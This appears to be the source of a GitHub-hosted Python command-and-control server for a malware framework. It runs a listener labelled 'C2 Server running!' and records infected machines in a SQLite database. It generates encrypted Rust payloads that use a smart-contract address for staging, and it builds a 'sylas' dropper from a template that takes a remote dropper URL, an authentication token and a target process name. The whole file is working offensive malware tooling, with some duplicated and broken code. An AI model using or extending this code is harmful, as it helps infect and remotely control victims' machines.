-
Notifications
You must be signed in to change notification settings - Fork 10
/
Copy pathserver_rust.py
298 lines (247 loc) · 11 KB
/
server_rust.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
import socket, threading, readline, secrets, hashlib, sqlite3, base64
from datetime import datetime
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import unpad
from Crypto import Random
import os
# Global variable that mantain client's connections
connections = []
debug = True
contractAddress = None
def write_hash_to_artifact(hash, uniqueAESKey, smartContractKey, KeccakData, stagerAddress):
KeccakData = "0x" + KeccakData
# ContractVariable = ContractVariable[0].upper()+ContractVariable[1:]
fin = open("./templates/template.rs", "rt")
if debug != True:
fout = open(f"main-{datetime.utcnow().timestamp()}.rs", "wt")
else:
fout = open(f"./migrate/src/lib.rs", "wt")
#for each line in the input file
for line in fin:
#read replace the string and write to output file CONTRACTVARIABLENAME
fout.write(line.replace('UNIQUEHASH', hash).replace('UNIQUEAESKEY', uniqueAESKey.decode('utf-8')).replace('SMARTCONTRACTKEY', smartContractKey).replace('KECCAKHERE', KeccakData).replace('STAGERADDRESS', stagerAddress))
smartContractKey = None
#close input and output files
fin.close()
fout.close()
def _pad(s):
bs = AES.block_size
return s + (bs - len(s) % bs) * chr(bs - len(s) % bs)
@staticmethod
def _unpad(s):
return s[:-ord(s[len(s)-1:])]
def AESencrypt(key, raw):
raw = _pad(raw)
iv = Random.new().read(AES.block_size)
cipher = AES.new(key, AES.MODE_CFB, iv, segment_size=128)
return base64.b64encode(iv + cipher.encrypt(raw.encode()))
def AESdecrypt(key, enc):
enc = base64.b64decode(enc)
iv = enc[:AES.block_size]
cipher = AES.new(key, AES.MODE_CFB, iv, segment_size=128)
return _unpad(cipher.decrypt(enc[AES.block_size:])).decode('utf-8')
# processName https://dropperaddress.com dropperPassword exportName (default == iLoveCatsXD)
# gen_dropper(command[1], command[2], command[3], command[4])
def gen_dropper(processName, dropperAddress, dropperPassword, exportName):
fin = open("./templates/sylas_template.rs", "rt")
fout = open(f"./sylas/src/main.rs", "wt")
for line in fin:
fout.write(line.replace('PROCNAMEHERE', processName).replace('AUTHENTICATIONTOKENHERE', dropperPassword).replace('REMOTEDROPPERADDRESSHERE', dropperAddress).replace('EXPORTNAME', exportName))
fin.close()
fout.close()
os.system("cd sylas && bash ./build.sh")
def gen_payload(server, contractAddress_recv, contractKey, KeccakData):
global contractAddress
contractAddress = contractAddress_recv
print(f"Smart contract address :: {contractAddress}")
print(f"Smart contract Keccak :: {KeccakData}")
conn = sqlite3.connect('machines.db')
# Generate sha256 hash from random bits (unsafe)
randbits = secrets.randbits(1024)
m = hashlib.sha256()
m.update(str(randbits).encode("utf-8"))
createdHash = m.hexdigest().encode("utf-8")
print(f"Generated payload with hash :: {createdHash}")
key = get_random_bytes(16)
ciphertext = AESencrypt(key, server)
plaintext = AESdecrypt(key, ciphertext)
# Save hash into DB
cursor = conn.cursor()
cursor.execute("""
CREATE TABLE IF NOT EXISTS machines (
first_run integer NOT NULL,
machine_id text NOT NULL,
aesCipherText text NOT NULL
);""")
sql = '''INSERT INTO machines(first_run, machine_id, aesCipherText)
VALUES(?,?,?)'''
cursor.execute(sql, (1, createdHash, ciphertext))
conn.commit()
conn.close()
# Write hash into artifact
write_hash_to_artifact(m.hexdigest(), base64.b64encode(key), contractKey, KeccakData, server)
def list_payloads():
conn = sqlite3.connect('machines.db')
cursor = conn.cursor()
cursor.execute("SELECT * FROM machines")
records = cursor.fetchall()
for x in records:
print(f"MACHINE ID :: {x[0]} - {x[1]}")
conn.close()
def check_if_hash_exists(message, connection):
global contractAddress
message = message.strip()
conn = sqlite3.connect('machines.db')
cursor = conn.cursor()
cursor.execute("SELECT machine_id, first_run FROM machines WHERE machine_id = ?", (message,))
records = cursor.fetchone()
if(records):
if(records[1] == 1):
cursor.execute("SELECT aesCipherText FROM machines WHERE machine_id = ?", (message,))
records = cursor.fetchall()
print(f"Records: {records[0][0]}\n")
print(f"New client incomming! preparing the missiles to attack :: {connection.getpeername()}\nSending smart contract address :: {contractAddress}")
cursor.execute("UPDATE machines SET first_run = 0")
connection.send(contractAddress.encode('utf-8'))
conn.commit()
else:
connection.send(message)
else:
connection.send(message)
contractAddress = None
# Fetch one result from the query because it
# doesn't matter how many records are returned.
# If it returns just one result, then you know
# that a record already exists in the table.
# If no results are pulled from the query, then
# fetchone will return None.
conn.close()
def handle_user_connection(connection: socket.socket, address: str) -> None:
'''
Get user connection in order to keep receiving their messages and
sent to others users/connections.
'''
while True:
try:
# Get client message
msg = connection.recv(1024)
# If no message is received, there is a chance that connection has ended
# so in this case, we need to close connection and remove it from connections list.
if msg:
# Log message sent by user
print(f'{address[0]}:{address[1]} - {msg.decode()}')
# Build message format and broadcast to users connected on server
msg_to_send = f'From {address[0]}:{address[1]} - {msg.decode()}'
check_if_hash_exists(msg, connection)
# Close connection if no message was sent
else:
remove_connection(connection)
break
except Exception as e:
print(f'Error to handle user connection: {e}')
remove_connection(connection)
break
def broadcast(message: str, connection: socket.socket) -> None:
'''
Broadcast message to all users connected to the server
'''
# Iterate on connections in order to send message to all client's connected
for client_conn in connections:
# Check if isn't the connection of who's send
if client_conn != connection:
try:
# Sending message to client connection
client_conn.send(message.encode())
# if it fails, there is a chance of socket has died
except Exception as e:
print('Error broadcasting message: {e}')
remove_connection(client_conn)
def remove_connection(conn: socket.socket) -> None:
'''
Remove specified connection from connections list
'''
# Check if connection exists on connections list
if conn in connections:
# Close socket connection and remove connection from connections list
conn.close()
connections.remove(conn)
def server() -> None:
'''
Main process that receive client's connections and start a new thread
to handle their messages
'''
LISTENING_PORT = 1338
try:
# Create server and specifying that it can only handle 4 connections by time!
socket_instance = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket_instance.setsockopt( socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 )
socket_instance.bind(('', LISTENING_PORT))
socket_instance.listen(4)
print('C2 Server running!\n')
while True:
# Accept client connection
socket_connection, address = socket_instance.accept()
# Add client connection to connections list
connections.append(socket_connection)
# Start a new thread to handle client connection and receive it's messages
# in order to send to others connections
threading.Thread(target=handle_user_connection, args=[socket_connection, address]).start()
except KeyboardInterrupt:
socket_instance.close()
finally:
# In case of any problem we clean all connections and close the server connection
if len(connections) > 0:
for conn in connections:
remove_connection(conn)
socket_instance.close()
def server() -> None:
'''
Main process that receive client's connections and start a new thread
to handle their messages
'''
LISTENING_PORT = 1337
try:
# Create server and specifying that it can only handle 4 connections by time!
socket_instance = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket_instance.setsockopt( socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 )
socket_instance.bind(('', LISTENING_PORT))
socket_instance.listen(4)
print('Server running!')
while True:
# Accept client connection
socket_connection, address = socket_instance.accept()
# Add client connection to connections list
connections.append(socket_connection)
# Start a new thread to handle client connection and receive it's messages
# in order to send to others connections
threading.Thread(target=handle_user_connection, args=[socket_connection, address]).start()
except KeyboardInterrupt:
socket_instance.close()
finally:
# In case of any problem we clean all connections and close the server connection
if len(connections) > 0:
for conn in connections:
remove_connection(conn)
socket_instance.close()
def command():
print("gen_dropper processName https://dropperaddress.com dropperPassword exportName (default == iLoveCatsXD)")
while True:
try:
command = input("\n> ").split()
if(command[0] == "gen_payload"):
# 0x7f000001:0x53A 0xcbebf47dfEe4d9E69075A54e35a796f376e39dC8 fmPTbnQKLeEaHDqelq3kcw== c217acd5
gen_payload(command[1], command[2], command[3], command[4])
if(command[0] == "gen_dropper"):
# processName https://dropperaddress.com dropperPassword exportName (default == iLoveCatsXD)
print("Run gen_payload first if already executed")
gen_dropper(command[1], command[2], command[3], command[4])
if(command[0] == "list_payloads"):
list_payloads()
except Exception as err:
print(f"{err}")
if __name__ == "__main__":
serverThread = threading.Thread(target=server)
commandThread = threading.Thread(target=command)
serverThread.start()
commandThread.start()